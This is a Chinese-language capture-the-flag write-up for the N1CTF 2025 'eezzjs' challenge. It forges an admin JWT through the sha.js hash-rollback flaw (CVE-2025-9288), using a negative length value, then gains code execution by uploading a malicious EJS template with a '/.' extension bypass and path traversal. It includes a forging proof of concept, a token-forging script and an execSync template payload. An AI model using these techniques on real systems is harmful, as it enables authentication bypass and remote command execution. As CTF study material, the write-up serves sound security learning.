[2025]N1CTF WP

eezzjs

这道题难点在于前半部分鉴权 后半部分在ycb亦有记载 使用/.绕过对js后缀的绕过

思路

有源码,app.js就告诉我们有一个登录路由必须以admin登录,具体校验方式是jwt

以admin身份登陆进去后可以上传文件,function serveIndex会渲染我们的ejs文件,于是我们可以上传恶意的ejs模板文件,从而来执行命令。

鉴权

这一步你自己本地拿附件npm install的时候 他就会提醒你sha.js这个组件存在漏洞。

image-20251111155904696

联网搜索搜到很有特征CVE-2025-9288 https://www.freebuf.com/articles/web/445352.html https://github.com/advisories/GHSA-95m3-7q98-8xr5

这里就引出了一个很新奇的概念:哈希回滚

哈希回滚 = 哈希计算过程中状态意外地回到了之前的某个点,使得后续计算总是从相同状态开始,产生固定结果

漏洞验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

等价

1
2
3
4
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

回到我们这个题目当中来

我们的jwt的haeder和body都是解密token来获取,所以我们这个jwt格式里的length是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const verifyJWT = (token, secret = JWT_SECRET) => {
if (typeof token !== 'string') {
return null;
}

const parts = token.split('.');
if (parts.length !== 3) {
return null;
}

const [encodedHeader, encodedPayload, signature] = parts;

let header;
let payload;
try {
header = JSON.parse(fromBase64Url(encodedHeader).toString());
payload = JSON.parse(fromBase64Url(encodedPayload).toString());
} catch (err) {
return null;
}

image-20251111170155922

原理就是我们可以通过控制jwt里面的length类控制这里的变量,这里length是header+secret的长度

image-20251111170510850

下面是生成伪造admin seesion脚本 放在src目录运行

1
2
3
4
5
6
7
8
const {signJWT, verifyJWT} = require("./auth");
const crypto = require("crypto");

const header = { alg: 'HS256', typ: 'JWT' };
const len = -(JSON.stringify(header).length + 18);//关键一步
token = signJWT({username:"admin", length: len}, crypto.randomBytes(9).toString('hex'))
console.log(token)
console.log(verifyJWT(token, crypto.randomBytes(9).toString('hex')))

拿到session进入/upload 就行

image-20251111171359315

恶意ejs上传

这里后面就是可以上传ejs文件 使用/.绕过就可以了

ejs内容是

1
<%= global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>

这里唯一要注意的点就是需要进行目录穿越

image-20251111181349706

然后

image-20251111181407553